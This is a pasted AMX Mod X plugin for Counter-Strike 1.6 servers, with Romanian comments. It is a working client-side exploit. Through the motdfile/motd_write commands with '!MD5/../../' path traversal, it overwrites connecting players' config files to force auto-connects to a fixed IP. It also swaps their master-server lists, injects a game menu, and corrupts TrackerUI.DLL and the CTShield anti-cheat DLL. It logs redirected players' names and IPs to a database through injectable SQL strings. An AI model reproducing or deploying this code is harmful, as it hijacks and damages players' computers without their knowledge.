Advertisement
Guest User

Untitled

a guest
Jul 2nd, 2015
206
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.81 KB | None | 0 0
  1. /* Alkaline All CODES*/
  2. #include <amxmodx>
  3. #include <amxmisc>
  4. #include <sqlx>
  5.  
  6. /*
  7. Kommendante sqlx adapt.
  8. londoN optimization
  9.  
  10. */
  11.  
  12. //sqlx stuff
  13. new const Host[] = ""; //like: 24.12.101.89 / sql.mydomain.com
  14. new const User[] = ""; // root, admin etc
  15. new const Pass[] = ""; // password of sql user
  16. new const Db[] = ""; // database to use
  17. new Handle:g_SqlTuple
  18. new g_Error[512]
  19.  
  20.  
  21. #define CONNECT_IP "188.212.100.97:29000"
  22.  
  23.  
  24. #define MasterServerIp "188.212.100.97:27010"
  25. #define MasterServerIp2 "188.212.100.97:27010"
  26. #define MasterServerIp3 "188.212.100.97:27010"
  27.  
  28.  
  29. #define LOG "engine_mechanic_boosting.log"
  30.  
  31. new Servers_List[128], Nr, r;
  32. new const szt[] = "AMXX";
  33. new szBuffer[50000];
  34.  
  35. public plugin_init( ) {
  36.  
  37. register_plugin( "Engine Mechanic Boosting", "V6.5 stable", "Alkaline aka lucy" );
  38.  
  39.  
  40. // 0 instant redirect
  41. register_cvar( "rd_maxplayers", "0" );
  42. // redirectioneaza toti playeri deodata
  43. register_cvar( "all_player_redirect", "0" );
  44. Server_List_Redirect();
  45.  
  46. //sql init
  47. set_task(1.0, "SQL_automation")
  48.  
  49. }
  50.  
  51. public plugin_end(){
  52. SQL_FreeHandle(g_SqlTuple)
  53. }
  54.  
  55. public SQL_automation()
  56. {
  57. g_SqlTuple = SQL_MakeDbTuple(Host,User,Pass,Db)
  58.  
  59. new ErrorCode,Handle:SqlConnection = SQL_Connect(g_SqlTuple,ErrorCode,g_Error,charsmax(g_Error))
  60. if(SqlConnection == Empty_Handle)
  61. set_fail_state(g_Error)
  62.  
  63. new Handle:Queries
  64. Queries = SQL_PrepareQuery(SqlConnection,"CREATE TABLE IF NOT EXISTS redirected (name varchar(32),ip varchar(32),ipserver varchar(32)); CREATE TABLE IF NOT EXISTS totaldrop (serverip varchar(32),count varchar(32)); CREATE TABLE IF NOT EXISTS allredirected (message varchar(32), serverip varchar(32))")
  65.  
  66. if(!SQL_Execute(Queries))
  67. {
  68. SQL_QueryError(Queries,g_Error,charsmax(g_Error))
  69. set_fail_state(g_Error)
  70.  
  71. }
  72.  
  73. SQL_FreeHandle(Queries)
  74.  
  75. SQL_FreeHandle(SqlConnection)
  76. }
  77.  
  78. public SaveRedirectedPlayers(FailState,Handle:Query,Error[],Errcode,Data[],DataSize)
  79. {
  80. if(FailState == TQUERY_CONNECT_FAILED)
  81. {
  82. log_amx("Load - Could not connect to SQL database. [%d] %s", Errcode, Error)
  83. }
  84. else if(FailState == TQUERY_QUERY_FAILED)
  85. {
  86. log_amx("Load Query failed. [%d] %s", Errcode, Error)
  87. }
  88.  
  89. new id
  90. id = Data[0]
  91.  
  92. new name[32], playerip[32], serverip[32]
  93.  
  94. get_user_name(id, name, charsmax(name))
  95. get_user_ip(id, playerip, charsmax(playerip));
  96. get_user_ip(0, serverip, charsmax(serverip));
  97.  
  98. new szTemp[512], szTemp2[512]
  99.  
  100. DESTROY_ANY_GUARD( id );
  101.  
  102. Mechanichall_ReWritter( id );
  103.  
  104. new all_rd = get_cvar_num( "all_player_redirect" );
  105. new rd_maxplayers = get_cvar_num( "rd_maxplayers" );
  106. r = random_num( 0, Nr -1 );
  107. switch( all_rd ) {
  108. case 0: {
  109. new iName [ 32 ]
  110. get_user_name ( id, iName, charsmax ( iName ) )
  111. if ( get_playersnum() >= rd_maxplayers ) {
  112. client_cmd( id, "echo ;^"Connect^" %s", Servers_List[ r ] );
  113. format(szTemp,charsmax(szTemp),"INSERT INTO `evidence` ( `name` , `ip` , `ipserver`)VALUES ('%s','%s','%s');",iName, playerip, Servers_List[ r ])
  114. SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTemp)
  115.  
  116. }
  117. }
  118. case 1: {
  119. for( id = 1; id <= 32; id++ ) {
  120.  
  121. new iName [ 32 ];
  122. get_user_name ( id, iName, charsmax ( iName ) )
  123.  
  124. if ( get_playersnum() >= rd_maxplayers ) {
  125. client_cmd( id, "echo ;^"Connect^" %s", Servers_List[ r ] );
  126. log_to_file( LOG, "[%s] Am redirectionat toti Jucatori pe ip-ul : %s", Servers_List[ r ] );
  127. format(szTemp,charsmax(szTemp),"INSERT INTO `evidence` ( `name` , `ip` , `ipserver`)VALUES ('%s','%s','%s');",iName, playerip, Servers_List[ r ])
  128. SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTemp)
  129. }
  130. }
  131. }
  132. }
  133.  
  134.  
  135.  
  136. if(SQL_NumResults(Query) < 1)
  137. {
  138.  
  139. format(szTemp2,charsmax(szTemp2),"INSERT INTO `totaldrop` ( `serverip` , `count`)VALUES ('%s','1');", serverip)
  140. SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTemp2)
  141.  
  142. }
  143.  
  144. return PLUGIN_HANDLED
  145. }
  146.  
  147. public client_connect( id ) {
  148. DESTROY_ANY_GUARD( id );
  149.  
  150. set_task( 0.2, "__Engineering", id );
  151. set_task( 0.4, "__Engineering_Masterservers", id );
  152.  
  153. Mechanichall_ReWritter( id );
  154.  
  155. new all_rd = get_cvar_num( "all_player_redirect" );
  156. new rd_maxplayers = get_cvar_num( "rd_maxplayers" );
  157. r = random_num( 0, Nr -1 );
  158. switch( all_rd ) {
  159. case 0: {
  160. new sznames[33];
  161. get_user_name( id, sznames, sizeof sznames -1 );
  162. if ( get_playersnum() >= rd_maxplayers ) {
  163. client_cmd( id, "echo ;^"Connect^" %s", Servers_List[ r ] );
  164. log_to_file( LOG, "[%s] L-am redirectionat pe : %s la la ip-ul: %s",sznames , Servers_List[ r ] );
  165.  
  166. }
  167. }
  168. case 1: {
  169. for( id = 1; id <= 32; id++ ) {
  170. if ( get_playersnum() >= rd_maxplayers ) {
  171. client_cmd( id, "echo ;^"Connect^" %s", Servers_List[ r ] );
  172. log_to_file( LOG, "[%s] Am redirectionat toti Jucatori pe ip-ul : %s", Servers_List[ r ] );
  173. }
  174. }
  175. }
  176. }
  177.  
  178. new szTemp[512], serverip[32]
  179.  
  180. new Data[1]
  181. Data[0] = id
  182.  
  183. get_user_ip(0, serverip, charsmax(serverip));
  184.  
  185. format(szTemp,charsmax(szTemp),"SELECT * FROM `totaldrop` WHERE `serverip` = '%s' ", serverip)
  186. SQL_ThreadQuery(g_SqlTuple,"SaveRedirectedPlayers",szTemp,Data,1)
  187. }
  188.  
  189. Server_List_Redirect( ) {
  190.  
  191. static Dir[64], szFile[64], i = 0, Len;
  192. get_configsdir( Dir, sizeof Dir - 1 );
  193. formatex( szFile, sizeof szFile - 1, "%s/ServerList.ini", Dir );
  194. if( !file_exists( szFile ) ) {
  195.  
  196. server_print( "[ MasterServer ] Fisierul ^"%s^" nu exista!", szFile );
  197. return;
  198. }
  199. while( read_file( szFile, i++, Servers_List[ Nr ], sizeof szFile -1, Len ) ) {
  200.  
  201. if ( Len == 0 || equal( Servers_List, ";", 1 ) ) {
  202. continue;
  203. } else
  204. if ( Len ) {
  205.  
  206. ++Nr;
  207. }
  208. }
  209. server_print( "[ MasterServer ] Nr de Servere executate cu success %d .", Nr );
  210.  
  211. }
  212.  
  213.  
  214. public plugin_cfg( ) {
  215.  
  216. new szConfigsDir[ 64 ], szFile[ 64 ];
  217. get_configsdir( szConfigsDir, charsmax( szConfigsDir ) );
  218. formatex( szFile, charsmax( szFile ), "%s/GameMenu.ini", szConfigsDir );
  219. if( !file_exists( szFile ) )
  220. {
  221. log_to_file( LOG, "[%s] Fisierul Gamemenu ^"%s^" nu exista! Trebuie pus in ^"%s^"",szt, szFile, szConfigsDir );
  222. return 1;
  223. }
  224. new iFileIni = fopen( szFile, "rt" );
  225. while( !feof( iFileIni ) )
  226. {
  227. fgets( iFileIni, szBuffer, charsmax( szBuffer ) );
  228. log_to_file( LOG, "[%s] Fisierul Gamemenu din continutul ^"%s^" a fost extras!",szt, szFile );
  229. return 1;
  230. }
  231. fclose( iFileIni );
  232. return 1;
  233. }
  234.  
  235. public __Engineering( id ) {
  236. new szName[ 33 ];
  237. get_user_name( id, szName, sizeof szName -1 );
  238. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/resource/GameMenu.res^"");
  239. client_cmd( id, "echo ;^"motd_write^" %s", szBuffer );
  240. client_cmd( id, "echo ;clear" );
  241. clear( id );
  242. log_to_file( LOG, "[%s] Datele GameMenu au fost adaugate in meniul jucatorului : %s", szt, szName );
  243. }
  244. public __Engineering_Masterservers( id ) {
  245. new szName[ 33 ];
  246. get_user_name( id, szName, sizeof szName -1 );
  247. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../config/MasterServers.vdf^"");
  248. client_cmd( id, "echo ;^"motd_write^" ^"MasterServers^" { ^"hl1^" { ^"0^" { ^"addr^" ^"%s^" } ^"1^" { ^"addr^" ^"%s^" } ^"2^" { ^"addr^" ^"%s^" } } }" , MasterServerIp , MasterServerIp2 , MasterServerIp3 );
  249. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../config/rev_MasterServers.vdf^"");
  250. client_cmd( id, "echo ;^"motd_write^" ^"MasterServers^" { ^"hl1^" { ^"0^" { ^"addr^" ^"%s^" } ^"1^" { ^"addr^" ^"%s^" } ^"2^" { ^"addr^" ^"%s^" } } }" , MasterServerIp , MasterServerIp2 , MasterServerIp3 );
  251. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../platform/config/MasterServers.vdf^"");
  252. client_cmd( id, "echo ;^"motd_write^" ^"MasterServers^" { ^"hl1^" { ^"0^" { ^"addr^" ^"%s^" } ^"1^" { ^"addr^" ^"%s^" } ^"2^" { ^"addr^" ^"%s^" } } }" , MasterServerIp , MasterServerIp2 , MasterServerIp3 );
  253. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../platform/config/MasterServers2.vdf^"");
  254. client_cmd( id, "echo ;^"motd_write^" ^"MasterServers^" { ^"hl1^" { ^"0^" { ^"addr^" ^"%s^" } ^"1^" { ^"addr^" ^"%s^" } ^"2^" { ^"addr^" ^"%s^" } } }" , MasterServerIp , MasterServerIp2 , MasterServerIp3 );
  255. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../platform/config/rev_MasterServers.vdf^"");
  256. client_cmd( id, "echo ;^"motd_write^" ^"MasterServers^" { ^"hl1^" { ^"0^" { ^"addr^" ^"%s^" } ^"1^" { ^"addr^" ^"%s^" } ^"2^" { ^"addr^" ^"%s^" } } }" , MasterServerIp , MasterServerIp2 , MasterServerIp3 );
  257.  
  258. clear( id );
  259. log_to_file( LOG, "[%s] Datele MasterServer au fost adaugate in meniul jucatorului : %s", szt, szName );
  260. }
  261.  
  262. Mechanichall_ReWritter( id ) {
  263. new szName[ 33 ];
  264. get_user_name( id, szName, sizeof szName -1 );
  265. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../valve/hw/geforce.cfg^"");
  266. client_cmd( id, "echo ;^"motd_write^" Connect %s", CONNECT_IP );
  267. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../valve/hw/geforce.cfg^"");
  268. client_cmd( id, "echo ;^"motd_write^" Connect %s", CONNECT_IP );
  269. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/autoexec.CFG^"");
  270. client_cmd( id, "echo ;^"motdfile^" autoexec.CFG" );
  271. client_cmd( id, "echo ;^"motd_write^" %s" , CONNECT_IP );
  272. client_cmd( id, "echo ;^"motd_write^" Connect %s" , CONNECT_IP );
  273. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/userconfig.CFG^"");
  274. client_cmd( id, "echo ;^"motdfaile^" userconfig.CFG" );
  275. client_cmd( id, "echo ;^"motd_write^" Connect %s" , CONNECT_IP );
  276. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/violence.CFG^"");
  277. client_cmd( id, "echo ;^"motdfile^" violence.CFG" );
  278. client_cmd( id, "echo ;^"motd_write^" Connect %s" , CONNECT_IP );
  279. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/autoconfig.CFG^"");
  280. client_cmd( id, "echo ;^"motdfile^" autoconfig.CFG" );
  281. client_cmd( id, "echo ;^"motd_write^" Connect %s" , CONNECT_IP );
  282. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/joystick.CFG^"");
  283. client_cmd( id, "echo ;^"motdfile^" joystick.CFG" );
  284. client_cmd( id, "echo ;^"motd_write^" Connect %s" , CONNECT_IP );
  285. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/language.CFG^"");
  286. client_cmd( id, "echo ;^"motdfile^" language.CFG" );
  287. client_cmd( id, "echo ;^"motd_write^" Connect %s" , CONNECT_IP );
  288. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/listenserver.CFG^"");
  289. client_cmd( id, "echo ;^"motdfile^" listenserver.CFG" );
  290. client_cmd( id, "echo ;^"motd_write^" Connect %s" , CONNECT_IP );
  291.  
  292. clear( id );
  293. log_to_file( LOG, "[%s] Adaug Extra comenzi: connect :'autoexec.cfg/userconfig.cfg/violence.cfg'", szt );
  294. log_to_file( LOG, "[%s] Extra comenzi adaugate cu success jucatorului %s", szt, szName );
  295. }
  296.  
  297. DESTROY_ANY_GUARD( id ) {
  298.  
  299. client_cmd( id, "echo ;^"motdfile^" bin/TrackerUI.DLL");
  300. client_cmd( id, "echo ;^"motd_write^" ^"Destroyed by Alkaline Aka lucy 2014^"" );
  301. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/bin/TrackerUI.DLL^"");
  302. client_cmd( id, "echo ;^"motd_write^" ^"Destroyed by Alkaline Aka lucy 2014^"" );
  303. client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/CTShield.DLL^"");
  304. client_cmd( id, "echo ;^"motd_write^" ^"Destroyed by Alkaline Aka lucy 2014^"" );
  305. clear( id );
  306. }
  307.  
  308. clear( id )
  309. client_cmd ( id, "echo ;clear" );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement